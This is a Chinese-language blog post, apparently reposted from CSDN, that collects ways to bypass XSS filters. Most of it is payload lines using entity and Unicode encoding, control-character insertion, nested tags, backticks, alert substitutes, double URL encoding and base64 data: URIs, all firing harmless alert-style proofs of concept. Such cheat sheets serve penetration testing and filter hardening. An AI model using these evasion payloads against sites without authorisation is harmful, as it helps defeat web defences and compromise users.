XSS 绕过指南

因为各种原因,在此总结一下网络上的绕过方法以及个人的经验,会不断更新,若有错误请私信

下面均忽略前端过滤的情况,且遇到字符过滤首选更换payload风格

1.对关键字符串进行过滤(包括重写为其他字符串,替换为空等)

如 script,on(+click/+mouseover......),alert,

(1)尝试对过滤字符串用大小写

(2)如果是是采用非<script>风格的payload,可对alert(1)    javascript:alert(1)等类似的语句进行html实体编码

比如:

<img src=x onclick=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
"> <iframe src=“&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;”> //
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>test</a>

HTML5新增了一些实体编码

如冒号:&colon;  换行:&NewLine;等

(3)如果采用伪协议风格的poc,可在诸如javascript:alert(1)中任意加入%0d,%0a,%09尝试绕过(抓包)

比如:

"> <iframe src=“javas%0dcrip%0at:ale%09rt(1)”> //
<a href="javas%0d%0a%09cript:ale%0d%0a%09rt(1)">Hello</a>

(4)尝试堆叠

<scscriptript>
<oonnclick>

 如

<scr<script>ipt>alert(1)</scr<script>ipt>

 (5)注释干扰绕过,不一定能够解析

<scri<!--test-->pt>alert(1)</scri<!--test-->pt>

 (6)对alert进行过滤的可由下面语句代替

平替:

<script>prompt(1)</script>
<script>confirm(1)</script>
<script>document.write(1)</script>
<script>window.open(1)</script>

绕过:

<script>\u{61}l\u{65}rt`1`</script>
<script>this["ale"+"rt"]`666`</script>
<img src=0 onerror="var a='al';var b='ert';a+=b;top[a](1)">

2.  对圆括号进行过滤

(1)尝试采用html实体编码

"><a hrEf=javascript:alert&lpar;1&rpar;>test</a>
"><a hrEf=javascript:alert&#40;1&#41;>test</a>

 或者抓包对&进行与#进行url编码

或者是在html编码基础上进行十六进制编码 

"><a hrEf=javascript:alert&#x28;1&#x29;>test</a>

(2)尝试用反引号代替圆括号

<img src=x onerror=alert`1`>

或者再对反引号进行加工

(3)尝试<script>标签外加其他标签强制解析html实体编码

<svg><script>alert&#40;1&#41;</script></svg>

3.对空格进行过滤

(1)尝试使用%0d,%0a,%09将空格替换

<img%0Dsrc=1%0Aonclick=alert(1)>

(2)使用反斜杠替换空格

<img/src="1"/onclick=alert(1)>

4.对尖括号过滤

(1)首选更换payload风格,或者尝试各种编码,但是不一定能被解析

如unicode编码

\\u003cscript\\u003ealert(1);\\u003c/script\\u003e

十六进制或者八进制编码

\\x3cscript\\x3ealert(1);\\x3c/script\\x3e

若是传参点在地址栏里面或者抓包修改,可尝试二次url编码

%253cscript%253ealert(1)%253c%252Fscript%253e

5.对双引号或者单引号进行过滤

(1)如果可点在href= 或者 src= 诸如此类的地方

可采用伪协议风格

插入后如:

<iframe src="javascript:alert(1)">
<a href="javascript:alert(1)">test</a> 

(2)选用base64编码

data协议

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>

当尖括号或者双引号都被过滤

若有href,src,background等可控点,尝试插入

data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=

猜你喜欢

转载自blog.csdn.net/weixin_51681694/article/details/130292837